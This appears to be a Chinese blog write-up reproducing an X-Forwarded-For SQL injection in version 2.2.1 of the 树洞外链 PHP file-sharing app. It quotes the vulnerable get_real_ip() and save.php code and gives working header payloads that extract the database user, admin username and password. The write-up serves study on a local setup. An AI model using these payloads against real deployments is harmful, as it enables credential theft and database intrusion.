树洞外链X_FORWARDED_FOR注入漏洞复现

一、漏洞概述

树洞外链现在已经停止更新,作者又开发了Cloudreve,有兴趣可以了解一下。
回归正题,虽然树洞已经停止更新了,还是可以做一些研究学习。
树洞外链存在X_FORWARDED_FOR注入漏洞,最新版本的已经修复了,2.2.1版本的可以复现。


二、漏洞分析

/includes/function.php的37行左右,获取了X_FORWARDED_FOR,并未做防注入过滤

function get_real_ip(){
$ip=false;
if(!empty($_SERVER["HTTP_CLIENT_IP"])){
$ip = $_SERVER["HTTP_CLIENT_IP"];
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
for ($i = 0; $i < count($ips); $i++) {
if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) {
$ip = $ips[$i];
break;
}
}
}
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}

然后在includes/save.php 20行左右发现调用get_real_ip()函数

$ip=get_real_ip();
$dd=date('Y-m-d H:i:s');
$rand = md5(time() . mt_rand(0,1000));
$stmt = $con->prepare("INSERT INTO  `$sqlname`.`sd_file` (`ming` ,`key1` ,`uploadip` ,`uploadtime` ,`cishuo` ,`upuser` ,`policyid`)VALUES (?, '$rand', '$ip', '$dd', '0' , '$uploadUser', '$policyId');");

$stmt->bind_param('s', $ming);

三、漏洞复现

下载树洞外链源码,本地搭建环境。

注册账号登陆,然后打开burpsuite,关掉拦截

然后上传文件,在HTTP history里找到/includes/save.php,发送到Repeater

构造payload并发送(UID改成自己的用户ID,个人详情里面可以查看)

X-Forwarded-For: 1.1.1.1',user(),'0',UID,UID); #

ming=aa

然后在我的文件里面可以看到执行结果

爆用户名:
X-Forwarded-For: 1.1.1.1′,(select username from sd_user where id=1),’0′,uid,uid); #

爆密码:
X-Forwarded-For: 1.1.1.1′,(select pwdfrom sd_user where id=1),’0′,uid,uid); #


参考文章

代码审计树洞X_FORWARDED_FOR注入
代码审计之头部注入X-Forwarded-For


   转载规则


《树洞外链X_FORWARDED_FOR注入漏洞复现》 dylan 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
WinRAR目录穿越漏洞复现 WinRAR目录穿越漏洞复现
0x01 漏洞概述该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,该动态链接库在 2006 年被编译,没有任何的基础保护机制(ASLR, DEP 等)。动态链接库的作用是处理 ACE 格式文件。而Wi
2019-07-26
下一篇 
zzzphp V1.6.1 远程代码执行漏洞复现 zzzphp V1.6.1 远程代码执行漏洞复现
一、漏洞概述远程代码执行漏洞存在的主要原因是页面对模块的php代码过滤不严谨,导致在后台可以写入php代码从而造成代码执行。 二、漏洞复现本地搭建zzzphp V1.6.1环境 在后台模块管理中的电脑模块找到cn2016 然后在cn201
2019-07-24
  目录